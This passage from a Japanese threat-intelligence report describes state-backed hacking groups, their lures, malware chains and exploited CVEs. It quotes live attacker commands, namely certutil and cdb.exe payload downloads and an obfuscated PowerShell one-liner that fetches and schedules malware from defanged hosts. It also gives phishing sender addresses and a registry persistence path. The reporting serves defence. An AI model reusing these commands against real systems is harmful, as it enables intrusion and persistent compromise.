いわゆるコニ（Konni）としても知られており、日本、韓国、ベトナムからハッキング活動が確認さ

れた。 

このグループは、国税の徴収に関する説明資料の要求書として偽装した Windows ショートカット

（LNK）ファイル形式のマルウェアを圧縮してターゲットに送信した。 

https://cti.nshc.net/events/view/12500
https://cti.nshc.net/events/view/12429
https://cti.nshc.net/events/view/12347
https://cti.nshc.net/events/view/12346
https://cti.nshc.net/events/view/12466
https://cti.nshc.net/events/view/12827
https://cti.nshc.net/events/view/12733
https://cti.nshc.net/events/view/12684
https://cti.nshc.net/events/view/12729


22 Cyber Threat Intelligence Report 

 NSHC©2024 All rights reserved. 

 

 

[図 9: SectorA07 グループによる Windows ショートカットマルウェア攻撃のプロセス] 

 

ターゲットが圧縮ファイルを解凍して内部に含まれている Windows ショートカットファイルを実行

すると、PowerShell コマンドが動作し、ショートカットファイルの特定のオフセットからデータを

読み取り、XOR 演算でデコードした後、ファイルを生成する機能を実行する。 

 

 

[図 10: Windows ショートカットファイルに含まれた PowerShell コマンドの一部] 

 

最初にターゲットがマルウェアの実行に気付かないように、国税の徴収に関する説明資料の要請書内

容のハングル（HWP）ファイル形式のおとりファイルを実行した。 
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[図 11: 国税の徴収に関する説明資料の要求書の内容が含まれたハングル(HWP)ファイル形式のおと

りファイル] 

 

そして、内部にマルウェアが含まれている CAB（キャビネット）ファイルを生成して解凍しすると、

解凍されたファイルの中から、ビジュアルベーシックスクリプト（Visual Basic Script、VBS）形式

のスクリプトを実行した。 

 

 

[図 12: CAB ファイルに含まれている VBS スクリプト] 

 

VBS スクリプトは解凍されたファイルの中からバッチファイル形式のマルウェアを実行し、合計 6

個のバッチファイルを順次にルを実行しながら悪性行為を行った。 

順次に実行されるバッチファイルは、最終的に Windows レジストリキー

HKEY_CURRENT_USER(HKCU)のサブキー「Run」にバッチファイルを登録して持続性を維持し、

ダウンロードフォルダのファイルリスト、デスクトップのファイルリストなどのファイルシステム情

報と、systeminfo コマンドでシステムの基本情報を収集した。 
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[図 13: バッチファイルに含まれたシステム基本情報収集コマンド] 

 

また、PowerShell コマンドを通じて追加のマルウェアをダウンロード及び実行できる機能があるた

め、攻撃者は状況に応じて追加のマルウェアを配信及び実行することができる。 

 

 

[図 14: バッチファイルで実行される PowerShell コマンド] 

 

 

[図 15: 過去の活動と相関関係がある SectorA07 グループの活動] 

 

Related Events 

⚫ SectorA07 used Malware variants 
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https://cti.nshc.net/events/view/12241 

 

⚫ SectorA07 used LNK Malware disguised as a Tax Correction Report 

https://cti.nshc.net/events/view/12555 

 

⚫ SectorA07 used LNK malware disguised as a Blockchain Engineer Job 

Openings 

https://cti.nshc.net/events/view/12554 

 

⚫ SectorA07 used LNK malware variants 

https://cti.nshc.net/events/view/12802 

 

 

2. SectorBの支援によって活動を行っているハッキンググループの活動 

 

1) SectorB01グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB01 グループは、い

わゆるウィンティ（Winnti）としても知られており、台湾、サウジアラビア、イエメン、日本、韓国、

スペイン、ベルギー、ロシア、イギリス、フィリピン、ギリシャ、ドイツ、エクアドル、パナマ、ア

メリカからハッキング活動が確認された。 

このグループは、製造業、教育、エネルギー、エンターテインメント産業をターゲットに、

ShadowPad として知られるリモート制御機能のマルウェアとランサムウェアを配布し、知的財産権

の盗用を目的とした攻撃活動を行った。 

このグループは脆弱なパスワードが確認された管理者アカウントを使用して VPN にアクセスし、タ

ーゲットのネットワークにアクセスし、ShadowPad マルウェアを配布した。このグループは

ShadowPad マルウェアを実行するために DLL サイドローディング技を活用し、エンコードされた

ShadowPad ペイロードをデコードした後、メモリにロードして実行した。 

 

https://cti.nshc.net/events/view/12241
https://cti.nshc.net/events/view/12555
https://cti.nshc.net/events/view/12554
https://cti.nshc.net/events/view/12802
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[図 16: DLL サイドローディング技法を活用して実行するシャドウパッドマルウェア] 

 

特に、シャドウパッドマルウェアには高度な難読化及びアンチデバッグ技術が適用されており、ター

ゲットシステムのボリュームシリアル番号を利用してレジストリ内のシャドウパッドペイロードを暗

号化した後、これを削除した。 

最終的に、このグループはターゲットシステムで実行されたシャドウパッドマルウェアを通じて、コ

マンド・アンド・コントロール（Command and Control, C2）サーバーから受信したコマンドを実

行し、悪性行為を行った。 

また、このグループはシャドウパッドマルウェアを利用してランサムウェアを配布し、AES 及び

RSA 暗号化を使用してターゲットシステムのファイルを暗号化した。しかし、ランサムノートに含

まれている暗号通貨アドレスで取引履歴が確認されていないため、身代金を支払った被害者はいない

と判断されている。 

 

Related Events 

⚫ SectorB01 used Malware to Exploit Servers in APAC region 

https://cti.nshc.net/events/view/12239 

 

⚫ SectorB01 uses a new infrastructure that uses TLS certificates from the 

Support_1024 field 

https://cti.nshc.net/events/view/12889 

 

⚫ SectorB01 used ShadowPad malware variants 

https://cti.nshc.net/events/view/12726 

 

⚫ SectorB01 used a new Domains 

https://cti.nshc.net/events/view/12741 

 

⚫ SectorB01 used Winnti malware to target Japanese organisations 

https://cti.nshc.net/events/view/12654 

https://cti.nshc.net/events/view/12239
https://cti.nshc.net/events/view/12889
https://cti.nshc.net/events/view/12726
https://cti.nshc.net/events/view/12741
https://cti.nshc.net/events/view/12654
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⚫ SectorB01 used Shadowpad Malware and Ransomware in Manufacturing 

Attack 

https://cti.nshc.net/events/view/12800 

 

2) SectorB22グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB22 グループは、い

わゆるマスタングパンダ（Mustang Panda）としても知られており、タイ、シンガポール、アメリ

カ、中国、ベトナム、フィリピンからハッキング活動が確認された。 

このグループは招待状として偽装した MSC（Microsoft Management Console Snap-in 

Control）ファイルを配布して攻撃活動を行った。 

このグループは、ターゲットシステムで実行した MSC ファイルを通じて、脆弱性によりマルウェア

の JavaScript を実行した。 

 

[SectorB22グループが悪用した脆弱性] 

⚫ CVE-2024-43572 – Microsoft 管理コンソールリモートコード実行の脆弱性 (Microsoft 

Management Console Remote Code Execution Vulnerability) 

 

 

[図 17: 招待状として偽装した悪性の MSC ファイル内部の JavaScript 実行コード] 

 

このグループは、ターゲットシステムで実行された悪性の JavaScript を通じて、外部サーバーから

悪性バッチファイルをダウンロードして実行した。 

 

https://cti.nshc.net/events/view/12800
https://cvepremium.circl.lu/cve/CVE-2024-43572
https://cvepremium.circl.lu/cve/CVE-2024-43572
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[図 18: バッチファイルのダウンロード及び実行機能付きマルウェアの JavaScript コード] 

 

このグループは、最終的にターゲットシステムで実行したマルウェアバッチファイルを通じて追加で

ダウンロードしたリモート制御機能付きのマルウェアを使用し、コマンド＆コントロール

（Command and Control, C2）サーバーから受信したコマンドを実行して悪性行為を行った。 

 

Related Events 

⚫ SectorB22 used MSC malware disguised as an Invitation letter 

https://cti.nshc.net/events/view/12225 

 

⚫ SectorB22 distributed RA World ransomware by exploiting Palo Alto 

Networks PAN-OS vulnerability 

https://cti.nshc.net/events/view/12669 

 

⚫ SectorB22 mixes legitimate and malicious components to evade detection 

https://cti.nshc.net/events/view/12743 

 

⚫ SectorB22 used DLL Sideloading for Bookworm Malware Attacks 

https://cti.nshc.net/events/view/12830 

 

3) SectorB71グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB71 グループは、い

わゆるダガーフライ（Daggerfly）としても知られており、韓国からハッキング活動が確認された。 

このグループは、Linux ベースのターゲットシステムをターゲットに SSH デーモンに注入するマル

ウェアを配布して攻撃活動を行った。 

このグループは、ターゲットシステムにインストールしたドロッパー（Dropper）を通じて、

WATERDROP という単語が含まれている特定のファイル（/bin/lsxxxssswwdd11vv）を確認し、

システム感染の有無を判断した。そして、次の SSH デーモンを終了し、マルウェアの SSL ライブラ

リ（libsshed.so）をインストールしてから再起動した。 

 

https://cti.nshc.net/events/view/12225
https://cti.nshc.net/events/view/12669
https://cti.nshc.net/events/view/12743
https://cti.nshc.net/events/view/12830
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[図 19: システム感染の有無をチェックした後、悪性の SSL ライブラリをインストールするコードの

一部] 

 

このグループは、ターゲットシステムで SSH デーモンによってロードされたマルウェアの SSL ライ

ブラリを通じて、コマンド及びコントロール（Command and Control, C2）サーバーから受け取っ

たコマンドを実行し、悪性行為を行った。 

 

Related Events 

⚫ SectorB71 used malicious SSH library 

https://cti.nshc.net/events/view/12485 

 

4) SectorB108グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB108 グループは、い

わゆるソルトタイフーン（Salt Typhoon）としても知られており、アルゼンチン、バングラデシュ、

インドネシア、マレーシア、メキシコ、オランダ、タイ、アメリカ、ベトナムからハッキング活動が

確認された。 

このグループは、世界中のキャリア業者のパッチが適用されていない Cisco ネットワーク機器をター

ゲットに攻撃活動を行った。 

このグループは、Cisco IOS XE ソフトウェアのウェブユーザーインターフェース（UI）機能で発見

された権限昇格の脆弱性を悪用して初期アクセスを試み、そして、関連する別の権限昇格の脆弱性を

利用してルート権限を取得した。 

 

https://cti.nshc.net/events/view/12485
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[SectorB108グループが悪用した脆弱性] 

⚫ CVE-2023-20198 – Cisco IOS XE ソフトウェア Web UI 権限昇格の脆弱性 (Cisco IOS 

XE Software Web UI Privilege Escalation Vulnerability) 

⚫ CVE-2023-20273 – Cisco IOS XE ソフトウェア Web UI コマンドインジェクションの脆

弱性 (Cisco IOS XE Web UI Command Injection Vulnerability) 

 

このグループは最終的にターゲットネットワークで GRE（Generic Routing Encapsulation）トンネ

ルを構成し、ターゲットの Cisco 機器とこのグループのインフラとの通信時に機密情報を漏洩させる

ことを容易にし、ネットワークモニタリングを回避することができた。 

 

Related Events 

⚫ SectorB108 exploited Cisco IOS XE vulnerabilities in telco attacks 

https://cti.nshc.net/events/view/12735 

 

5) SectorB109グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB109 グループは、い

わゆるプラッシュデーモン（PlushDaemon）としても知られており、韓国、日本、中国からハッキ

ング活動が確認された。 

このグループは、韓国の VPN 開発会社に対するサプライチェーン攻撃を実行し、合法的なソフトウ

ェアのダウンロードをスローステッパー（SlowStepper）というバックドアを含むようにトロイの木

馬化されたバージョンに置き換えた。この攻撃は主に韓国のユーザーを標的とし、半導体や非公開ソ

フトウェア会社などの企業に影響を与えた。 

 

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://cti.nshc.net/events/view/12735
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[図 20: 韓国の VPN 企業をターゲットとしたサプライチェーン攻撃に利用されたマルウェア] 

 

このグループは、アップデートプロトコルを攻撃者が制御するサーバーにリダイレクトするなどの方

法を使用してマルウェアインストーラを配布し、合法的に実行できる VPN ソフトウェアとバックド

アの両方を配布した。 

DNS クエリと暗号化された通信を使用する複雑なコマンド＆コントロール（Command and 

Control, C2）プロトコルで知られるこのバックドアは、エンコードされた DNS 応答を通じて識別

された複数のリモートサーバーとアクセスし、広範囲なスパイ活動を促進した。 

このグループは、最終的にターゲットシステムで実行したスローステッパーを通じて、敏感な情報を

収集し、保存された Python モジュールを実行し、システムレジストリを修正して持続性を確保する

ことで、韓国地域に深刻なサイバースパイの脅威を与えることができた。 

 

Related Events 

⚫ SectorB109 compromises supply chain of Korean VPN service 

https://cti.nshc.net/events/view/12199 

 

6) SectorB110グループ 

 

中国政府の支援によって活動を行っているハッキンググループの中で、SectorB110 グループは、い

わゆる REF7707 としても知られており、香港、タイ、アメリカ、ブラジル、韓国からハッキング活

動が確認された。 

https://cti.nshc.net/events/view/12199
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このグループは南米諸国の外務省をターゲットにマルウェアを配布して攻撃活動を行い、ターゲット

システムで証明書管理用の Windows ツール（certutil.exe）コマンドを使用して、マルウェアファ

イルをリモートからダウンロードした。 

 

[SectorB110グループの証明書管理用Windowsツール(certutil.exe)コマンドを利用したマル

ウェアファイルダウンロードコマンド] 

⚫ certutil -urlcache -split -f https[://[redacted]/fontdrvhost.exe 

C:\ProgramData\fontdrvhost.exe 

⚫ certutil -urlcache -split -f https[://[redacted]/fontdrvhost.rar 

C:\ProgramData\fontdrvhost.rar 

⚫ certutil -urlcache -split -f https[://[redacted]/config.ini C:\ProgramData\config.ini 

⚫ certutil -urlcache -split -f https[://[redacted]/wmsetup.log 

C:\ProgramData\wmsetup.log 

 

また、このグループはターゲットシステムから奪取した資格情報を使用して、Windows オペレーテ

ィングシステムのリモートシェルツール（winrshost.exe）を通じて追加のマルウェアをダウンロー

ドした。 

他にも、このグループは Windows デバッグツール（cdb.exe）を活用し、このツールのファイル名

を fontdrvhost.exe に変更してから実行し、追加のマルウェアファイルをダウンロードして実行し

た。 

 

[SectorB110グループのWindowsデバッグツール（cdb.exe）コマンドを活用したマルウェア

ファイルダウンロードコマンド] 

⚫ C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o 

C:\ProgramData\fontdrvhost.exe 

 

このグループは、ターゲットシステムで実行されたマルウェアを通じて、コマンド及びコントロール

（Command and Control, C2）サーバーから受信したコマンドを実行し、悪性行為を行った。特に、

このグループは Microsoft グラフ API（Microsoft Graph API）を使用して、アウトルック

（Outlook）を通信チャネルとして活用し、セキュリティソリューションの検出を回避した。 

 



33 Cyber Threat Intelligence Report 

 NSHC©2024 All rights reserved. 

 

[図 21: Microsoft グラム API を悪用するマルウェア] 

 

Related Events 

⚫ SectorB110 targeted a South American foreign ministry using novel malware 

families 

https://cti.nshc.net/events/view/12690 

 

⚫ SectorB110 used Malware that used Microsoft's Graph API for C2 

communications 

https://cti.nshc.net/events/view/12689 

 

 

3. SectorCの支援によって活動を行っているハッキンググループの活動 

 

1) SectorC01グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC01 グループはい

わゆるソファシ（Sofacy）としても知られており、アラブ首長国連邦からハッキング活動が確認さ

れた。 

このグループはフィッシングメールを通じて悪性のファイルを配布し、脆弱性を悪用して内部システ

ムに侵入する攻撃を行った。攻撃者は WinRAR の脆弱性（CVE-2023-38831）が含まれた圧縮ファ

イルを通じてマルウェアを実行し、そして PowerShell、Visual Basic Script (VBS)、バッチ (BAT) 

スクリプトを連携して多段階ペイロードをロードし、バックドアをインストールした。 

インストールされたマルウェアは、Microsoft Edge のヘッドレスモードを活用してユーザーに表示

されない状態で追加のコマンドを実行した。収集されたログイン情報とブラウザデータは、

https://cti.nshc.net/events/view/12690
https://cti.nshc.net/events/view/12689
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Webhook.site などの公開ツールを通じて外部に送信される。また、.url ファイルを自動実行パスに

生成し、コマンド＆コントロール（Command and Control, C2）サーバーとのアクセスを維持した

り、追加のマルウェア実行を誘導するために利用され、感染したシステムに継続的にアクセスできる

ように足場を固めた。 

 

 

[図 22: SectorC01 グループが使用した URL ファイル] 

 

ユビキティ(Ubiquiti)及びシスコ(Cisco)ルーターの脆弱性を悪用してネットワーク機器を乗っ取り、

これをコマンド＆コントロールインフラとして活用し、プロキシ通信、クレデンシャルの奪取、フィ

ッシングページの運営などに使用した。攻撃インフラには WebDAV、IMAP、検索プロトコル

(search-ms)などの多様な正式サービスが含まれ、検出回避のために生きているシステムツール

(LOLBINs)や合法的なインターネットサービスを積極的に活用したことが特徴である。 

 

 

[図 23: 過去の活動と相関関係がある SectorC01 グループの活動] 

 

Related Events 

⚫ SectorC01 exploited Zero-Day vulnerabilities and targeted Phishing attacks 

to Target Ukraine 

https://cti.nshc.net/events/view/12444 

 

https://cti.nshc.net/events/view/12444
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⚫ SectorC01 used the infrastructure for cyber-attack activities 

https://cti.nshc.net/events/view/12301 

 

2) SectorC04グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC04 グループは、

いわゆるコージーベア（Cozy Bear）としても知られている。 

このグループは最近、デバイスコード認証（Device Code Authentication）方法を悪用して、

Microsoft365（Microsoft 365）アカウントを奪取するフィッシング攻撃を行った。このグループは

アメリカ国務省、欧州連合議会、ウクライナ国防省などの政府機関として偽装してフィッシングメー

ルを送信し、MicrosoftTeams（Microsoft Teams）の会議の招待、チャットルーム参加リクエスト、

外部アプリケーション承認リクエストなど、業務関連性の高いシナリオを活用してユーザーの信頼を

誘導した。 

 

[メール件名] 

⚫ Measuring Influence Operations 

⚫ You have been added as a guest to US Department of State in MS Teams 

 

[送信者] 

⚫ kendisggibson@gmail.com 

⚫ leslytthomson@gmail.com 

⚫ mikedanvil@gmail.com 

⚫ sheilmagnett@gmail.com 

⚫ susannmarton@gmail.com 

⚫ brensonkarl@gmail.com 

⚫ kaylassammers@gmail.com 

 

ユーザーがフィッシングメッセージに含まれたデバイスコード入力ページにアクセスし、コードを入

力して権限を承認すると、攻撃者は正式な認証手続きを経たかのようにそのアカウントにアクセスで

きるようになる。このプロセスは Microsoft の公式認証フローに似ており、フィッシングと認識する

のが難しいである。奪取されたアカウント情報は Python ベースのスクリプトを通じて自動化されて

悪用され、攻撃者は仮想プライベートサーバー（VPS）や Tor ネットワークを利用して、OneDrive

や SharePoint などから大量の機密データをダウンロードした。 

 

Related Events 

https://cti.nshc.net/events/view/12301
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⚫ SectorC04 used Phishing Email disguised as US Dept of State Invitation 

https://cti.nshc.net/events/view/13024 

 

3) SectorC05グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC05 グループは、

いわゆるサンドワーム（Sandworm）としても知られており、ウクライナ、スペイン、フランス、

ポーランド、イギリス、アメリカ、カナダ、オーストラリアから活動が発見されている。 

このグループは、Windows Update として偽装したリモートデスクトッププロトコル（Remote 

Desktop Protocol, RDP）マルウェアを配布する攻撃を実行した。 

 

 

[図 24: Windows Update として偽装したマルウェアのダウンロード] 

 

このマルウェアは、ターゲットに一般的なシステムアップデートのように見えるよう設計された実行

ファイルとして偽装されており、実行時にシステムの RDP 設定を強制的に変更して外部アクセスを

許可した。 

 

このプロセスで攻撃者は次のような行為を行う。 

⚫ ローカルグループポリシーを操作して RDP 機能を強制的に有効化する。 

⚫ ファイアウォールのルールを修正して、ポート 3389（RDP のデフォルトポート）を外部に

開放する。 

⚫ 匿名ユーザーまたはハードコーディングされたアカウントに対して自動ログインを設定 

⚫ サービスとして登録され、システム起動時に自動的に実行されるように構成されている。 

 

https://cti.nshc.net/events/view/13024
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[図 25: RDP を有効化するためのレジストリ及びファイアウォール設定の修正と隠し管理者の作成] 

 

 

[図 26: 持続性の維持と一時ファイルの削除] 

 

インストール後、TOR ネットワークベースのプロキシサービスを利用して攻撃者のコマンド及びコ

ントロール（C2）インフラとアクセスし、外部からのリモートアクセスのトラフィックを隠すため、

一般的なネットワーク検出ツールでは識別が難しい隠密なバックドア経路を提供する。このグループ

は、この RDP バックドアを通じてシステムに長期間にわたって常駐し、継続的な情報収集、追加の

マルウェアのインストール、ラテラルムーブメント（横方向移動）などの後続の侵入活動を行うこと

ができる。 

 



38 Cyber Threat Intelligence Report 

 NSHC©2024 All rights reserved. 

 

[図 27: 過去の活動と相関関係がある SectorC05 グループの活動] 

 

Related Events 

⚫ SectorC05 used Trojanized KMSAuto with BACKORDER Loader 

https://cti.nshc.net/events/view/12646 

 

⚫ SectorC05 exploited Fortinet FortiClient and ConnectWise vulnerabilities 

https://cti.nshc.net/events/view/12647 

 

⚫ SectorC05 used a new Domains 

https://cti.nshc.net/events/view/12685 

 

⚫ SectorC05 used Infamous Chisel Malware to Target Signal Databases 

https://cti.nshc.net/events/view/12934 

 

4) SectorC26グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC26 グループは、

いわゆる UTA0307 としても知られている。 

このグループは、Microsoft のデバイスコード認証手続きを悪用して、Microsoft365 アカウントを

奪取する巧妙なフィッシングキャンペーンを実行した。 

このグループは外交関係者、政府機関、研究所関係者などをターゲットにしえメールを送信し、

Microsoft Teams の招待や外部アプリケーションの認証要求のように見せかけたメッセージを利用

した。メールにはデバイスコードの入力を要求するリンクが含まれており、ターゲットがコードを入

https://cti.nshc.net/events/view/12646
https://cti.nshc.net/events/view/12647
https://cti.nshc.net/events/view/12685
https://cti.nshc.net/events/view/12934
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力して承認を完了すると、攻撃者はセッションを奪取し、ターゲットのアカウントにアクセスできる

ようになる。 

 

[Email-Subject] 

⚫ Collaboration on China and East Asia Research 

⚫ Discussion about Trump & US relations with Europe 

⚫ Discussion about Donald Trump's new term 

⚫ Discussion on Eastern Europe and the Caucasus 

 

奪取されたセッションは Python ベースの自動化ツールを通じて悪用され、OneDrive や

SharePoint などから大量のファイルを収集した。また、Tor ネットワークと仮想専用サーバー

（VPS）を利用して IP アドレスを隠蔽し、検出を回避した。さらに、巧妙に設定された API 呼び出

しを通じて MFA（多要素認証）の回避にも成功した。 

 

Related Events 

⚫ SectorC26 used OAuth Phish disguised as Microsoft Teams Invite 

https://cti.nshc.net/events/view/12747 

 

5) SectorC28グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC28 グループは、

いわゆる UAC-0195 としても知られている。 

このグループは、シグナル(Signal)メッセンジャーのデバイスアクセス機能を悪用し、ターゲットの

アカウントを自分たちが制御するデバイスにアクセスさせるよう誘導するフィッシング攻撃を行った。

このグループは合法的なシグナルグループ招待ページを偽装したフィッシングページを作成し、攻撃

に利用した。このページは見た目には一般的なグループ招待リンクと同じ形式をしていましたが、内

部の JavaScript コードは操作されており、ターゲットがグループに参加する代わりに悪性のフィッ

シングページにリダイレクトされるように構成されていることが分かった。 

 

https://cti.nshc.net/events/view/12747
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[図 28: シグナル(Signal)のホームページとして偽装したフィッシングページ] 

 

 

[図 29: フィッシングページに挿入された悪性 JavaScript の一部] 

 

これにより、攻撃者が制御するデバイスを Signal アカウントにアクセスすることができ、そして、

攻撃者はターゲットのメッセージをリアルタイムで受信し、監視することが可能となる。 

 

Related Events 

⚫ SectorC28 used Phishing URL disguised as Signal Group Invites 

https://cti.nshc.net/events/view/12807 

 

6) SectorC29グループ 

 

ロシア政府の支援によって活動を行っているハッキンググループの中で、SectorC29 グループは、

いわゆる UAC-0185 としても知られており、チェコからハッキング活動が確認された。 

https://cti.nshc.net/events/view/12807
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このグループは、シグナル(Signal)メッセンジャーのデバイスアクセス機能を悪用し、ターゲットの

アカウントに自分たちが制御するデバイスを追加する QR コードベースのフィッシング攻撃を実行し

た。このグループはウクライナ内の軍及び外交関係者を主要な標的とし、メールやメッセージを通じ

て悪性の QR コードが含まれたフィッシングコンテンツを送信した。ターゲットがその QR コードを

シグナルアプリ内でスキャンすると、攻撃者のデバイスがターゲットのアカウントに自動的にアクセ

スされる。 

 

 

[図 30: シグナル(Signal)の QR コードを使ったフィッシングページ] 

 

そして、攻撃者はシグナルのエンドツーエンドで暗号化されたメッセージをターゲットと同様にリア

ルタイムで受信できるようになり、長期間にわたって機密な会話を監視することができる。この攻撃

はシグナルのセキュリティプロトコルを直接回避するものではないが、デバイスにアクセスするプロ

セスから別のユーザーの承認なしに QR コードだけでアクセスが完了する構造的な特性を巧妙に悪用

したものである。 

 

Related Events 

⚫ SectorC29 used Phishing Kit Disguised as Signal Device-Linking 

https://cti.nshc.net/events/view/12930 

 

 

 

4. SectorEの支援によって活動を行っているハッキンググループの活動 

 

1) SectorE01グループ 

https://cti.nshc.net/events/view/12930
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インド政府の支援によって活動を行っているハッキンググループの中で、SectorE01 グループは、

いわゆる Dropping Elephant としても知られており、中国、台湾からハッキング活動が確認された。 

このグループは、軍の特別選考における案内文として偽装した Windows ショートカット（LNK）フ

ァイルを配布する方法で攻撃活動を行った。 

このグループは、ターゲットシステムで Windows ショートカットファイルを実行し、PowerShell

コマンドを通じてターゲットの疑念を避けるために、軍の特別選考における案内文をダウンロード及

び実行して画面に表示した後、追加のマルウェアファイルをダウンロードして実行した。 

 

[SectorE01グループが使用した軍の特別選考における案内文として偽装したWindowsショート

カットファイルの PowerShell コマンド] 

⚫ powershell $ProgressPreference = 'SilentlyContinue';$b='C:\Users';iw''r https[://liu

yi[.neectar[.info/hsdverd_3ed5d/mdswsourt_4rfs -

OutFile $b\Public\Military_Plan_Shuo_Reading.pdf;s''a''p''s $b\Public\Military_Plan

_Shuo_Reading.pdf;iw''r https[://tian[.neectar[.info/lksderdd_4dferd/jhdfer3s_jh3d

e -OutFile "$b\Public\hip";r''e''n -Path "$b\Public\hip" -

NewName "$b\Public\Winver.exe";c''p''i "$b\Public\Military_Plan_Shuo_Reading.p

df" -

destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n MicrosoftUpdate /t''r "$b\Pu

blic\Winver" /f;e''r''a''s''e *d?.?n? 

 

 

[図 31: 軍の特別選考における案内文として偽装した Windows ショートカットファイル] 

 

特に、このグループはターゲットシステムに追加のマルウェアファイルを 1 分ごとにダウンロードし

た後、実行するためにタスクスケジューラに登録する方法で今後の攻撃のための足場を固めた。 



43 Cyber Threat Intelligence Report 

 NSHC©2024 All rights reserved. 

 

Related Events 

⚫ SectorE01 used LNK malware disguised as a Military Plan 

https://cti.nshc.net/events/view/12175 

 

⚫ SectorE01 used Malware variants 

https://cti.nshc.net/events/view/12169 

 

2) SectorE02グループ 

 

インド政府の支援によって活動を行っているハッキンググループの中で、SectorE02 グループは、

いわゆるドゥノット（Donot）としても知られており、オランダ、バングラデシュからハッキング活

動が確認された。 

このグループは、チャットアプリケーションとして偽装した Android アプリを配布して攻撃活動を

行った。 

 

 

[図 32: チャットアプリケーションとして偽装した Android アプリを実行した画面] 

 

このグループはターゲットの端末で実行された Android アプリを通じて、SMS メッセージ、連絡先、

通話履歴などの機密情報を奪取する悪性行為を行った。 

 

https://cti.nshc.net/events/view/12175
https://cti.nshc.net/events/view/12169
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[図 33: 機密情報を奪取する Android アプリケーション] 

 

Related Events 

⚫ SectorE02 used a new Domains 

https://cti.nshc.net/events/view/12174 

 

⚫ SectorE02 used Android malware disguised as a Chat Application 

https://cti.nshc.net/events/view/12262 

 

⚫ SectorE02 used a new Domains 

https://cti.nshc.net/events/view/12556 

 

⚫ SectorE02 used Malware variants 

https://cti.nshc.net/events/view/12687 

 

3) SectorE04グループ 

 

インド政府の支援によって活動を行っているハッキンググループの中で、SectorE04 グループは、

いわゆるサイドワインダー（Sidewinder）としても知られており、スリランカ、アメリカ、中国、

香港からハッキング活動が確認された。 

このグループは、スリランカ大統領の秘書室が発行した公式文書として偽装した Microsoft Word フ

ァイルを配布する方法で攻撃活動を行った。 

 

https://cti.nshc.net/events/view/12174
https://cti.nshc.net/events/view/12262
https://cti.nshc.net/events/view/12556
https://cti.nshc.net/events/view/12687
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[図 34: スリランカ大統領の秘書室から発行した公式文書として偽装した Word ファイルを実行した

画面] 

 

 

[図 35: スリランカ大統領の秘書室から発行した公式文書として偽装した Word ファイルに含まれた

リモートテンプレートファイルダウンロード情報] 

 

Related Events 

⚫ SectorE04 used Word malware disguised as Official letter 

https://cti.nshc.net/events/view/12298 

 

⚫ SectorE04 used Word malware disguised as Senior Officer Appointment 

document 

https://cti.nshc.net/events/view/12557 

 

⚫ SectorE04 used Word malware disguised as a Government-related 

notification document 

https://cti.nshc.net/events/view/12645 

https://cti.nshc.net/events/view/12298
https://cti.nshc.net/events/view/12557
https://cti.nshc.net/events/view/12645
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5. SectorHの支援によって活動を行っているハッキンググループの活動 

 

1) SectorH01グループ 

 

パキスタン政府の支援によって活動を行っているハッキンググループの中で、SectorH01 グループ

はいわゆるゴルゴン（Gorgon）としても知られており、イギリス、アメリカ、スイス、オーストラ

リアからハッキング活動が確認された。 

このグループは、税務関係のソフトウェアソリューション組織として偽装したフィッシングメールを

通じて、マルウェアを配布する攻撃活動を行った。 

このグループは、フィッシングメールの本文を通じて、Microsoft Azure にホスティングされたマル

ウェアの JavaScript ファイルをダウンロードする URL をクリックするよう誘導した。 

このグループは、ターゲットシステムで実行した JavaScript を通じて PowerShell コマンドを呼び

出し、リモート PowerShell スクリプトを実行した。最終的に、さまざまなリモート制御機能付きの

マルウェアをダウンロードして実行した。 

 

 

[図 36: 税務関係のソフトウェアソリューション組織として偽装したフィッシングメールを通じて配

布されたマルウェア] 
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このグループは、最終的にターゲットシステムで実行したリモート制御機能付きのマルウェアを通じ

て、コマンド及びコントロール（Command and Control, C2）サーバーから受信したコマンドを実

行する方法で悪性行為を行った。 

 

Related Events 

⚫ SectorH01 used Spear Phishing email disguised as Tax-related email 

https://cti.nshc.net/events/view/12651 

 

2) SectorH03グループ 

 

パキスタン政府の支援によって活動を行っているハッキンググループの中で、SectorH03 グループ

は、いわゆるトランスペアレント・トライブ（Transparent Tribe）としても知られており、インド、

アフガニスタンからハッキング活動が確認された。 

このグループは、サイバーセキュリティガイドライン文書として偽装した Windows ショートカット

（LNK）ファイルを配布する方法で攻撃活動を行った。 

このグループは、ターゲットシステムで実行した Windows ショートカットファイルを通じて、

msiexec.exe コマンドを使用し、リモートから悪性の Windows インストーラー（Microsoft 

Installer）ファイルをダウンロードして実行した。 

このグループは、ターゲットシステムで実行した Windows インストーラーファイルを通じて、マル

ウェア実行ファイルをインストールして実行した。 

このグループは、ターゲットシステムで実行したマルウェア実行ファイルを通じて、HTML アプリケ

ーション（HTML Application, HTA）ファイル、正常ファイル、マルウェア DLL ファイルを生成し

た後、HTML アプリケーションファイルを実行し、ターゲットシステムで再起動後も持続的に実行さ

れるようにするため、自動実行レジストリに正常ファイルを登録した。 

 

[SectorH03グループが持続性を設定するために登録した Windows自動実行レジストリパス] 

⚫ HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lavs

oft 

 

 

[図 37: Windows の自動実行レジストリを登録する HTML アプリケーション生成コード] 

https://cti.nshc.net/events/view/12651
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同時に、このグループはターゲットの疑念を避けるために、サイバーセキュリティガイドライン文書

